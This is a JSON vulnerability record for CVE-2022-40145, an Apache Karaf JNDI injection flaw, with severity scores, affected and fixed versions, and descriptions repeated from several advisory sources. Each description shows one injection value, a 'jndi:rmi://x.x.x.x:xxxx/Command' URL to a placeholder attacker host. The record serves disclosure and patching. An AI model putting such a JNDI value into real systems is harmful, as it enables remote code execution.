{"id":"CVE-2022-40145","aliases":["EUVD-2022-7591","GHSA-c2p4-8mvv-rwmv"],"status":"published","title":"Apache Karaf: JDBC JAAS LDAP injection","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-10","score":0.02596,"percentile":0.85457,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-74"],"published":"2022-12-21T15:23:42Z","modified":"2026-10-28T02:31:15Z","fixes":[{"ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","fixed_in":["4.3.8","4.4.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.8"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.0"},{"fixed":"4.4.2"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.8"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.2.0","2.2.1","2.2.10","2.2.11","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.2.9","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","3.0.0","3.0.0.RC1","3.0.1","3.0.10","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","4.0.0","4.0.0.M1","4.0.0.M2","4.0.0.M3","4.0.1","4.0.10","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.1","4.1.2","4.1.3","4.1.4","4.1.5","4.1.6","4.2.0","4.2.0.M1","4.2.0.M2","4.2.1","4.2.10","4.2.11","4.2.12","4.2.13","4.2.14","4.2.15","4.2.16","4.2.3","4.2.4","4.2.5","4.2.6","4.2.7","4.2.8","4.2.9","4.3.0","4.3.0.RC1","4.3.1","4.3.2","4.3.3","4.3.4","4.3.5","4.3.6","4.3.7"]},{"source":"osv","ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.0"},{"fixed":"4.4.2"}]}],"versions":["4.4.0","4.4.1"]}],"products":[{"vendor":"apache","product":"karaf"},{"vendor":"apache software foundation","product":"apache karaf"}],"references":[{"url":"https://karaf.apache.org/security/cve-2022-40145.txt","tags":["vendor-advisory","x_transferred","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40145","tags":["advisory"]},{"url":"https://github.com/apache/karaf/pull/1632","tags":["web"]},{"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1","tags":["web"]},{"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341","tags":["web"]},{"url":"https://issues.apache.org/jira/browse/KARAF-7568","tags":["web"]},{"url":"https://github.com/advisories/GHSA-c2p4-8mvv-rwmv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/40xxx/CVE-2022-40145.json","tags":["advisory"]},{"url":"https://github.com/apache/karaf","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2022-40145","title":"Apache Karaf: JDBC JAAS LDAP injection","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","status":"published","published":"2022-12-21T15:23:42.847Z","modified":"2025-04-15T18:03:47.618Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-74","CWE-20"],"updated_at":"2026-11-02T14:34:30.842561Z"}],"euvd":[{"id":"EUVD-2022-7591","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","status":"published","published":"2022-12-21T15:23:42Z","modified":"2025-04-15T18:03:47Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:52:27.766207Z"}],"ghsa":[{"id":"GHSA-c2p4-8mvv-rwmv","title":"Apache Karaf vulnerable to potential code injection","description":"This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.","status":"published","published":"2022-12-21T18:30:22Z","modified":"2023-01-28T05:06:18Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T14:36:25.064927Z"}],"nvd":[{"id":"CVE-2022-40145","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","status":"published","published":"2022-12-21T16:15:08.93Z","modified":"2026-06-17T05:01:01.763Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T14:07:34.031641Z"}],"osv":[{"id":"CVE-2022-40145","title":"Apache Karaf: JDBC JAAS LDAP injection","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","status":"published","published":"2022-12-21T15:23:42.847Z","modified":"2026-10-28T02:31:15.146880397Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T15:44:26.860704Z"},{"id":"GHSA-c2p4-8mvv-rwmv","title":"Apache Karaf vulnerable to potential code injection","description":"This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.","status":"published","published":"2022-12-21T18:30:22Z","modified":"2025-04-15T18:55:39.395392Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T15:46:44.571161Z"}]}}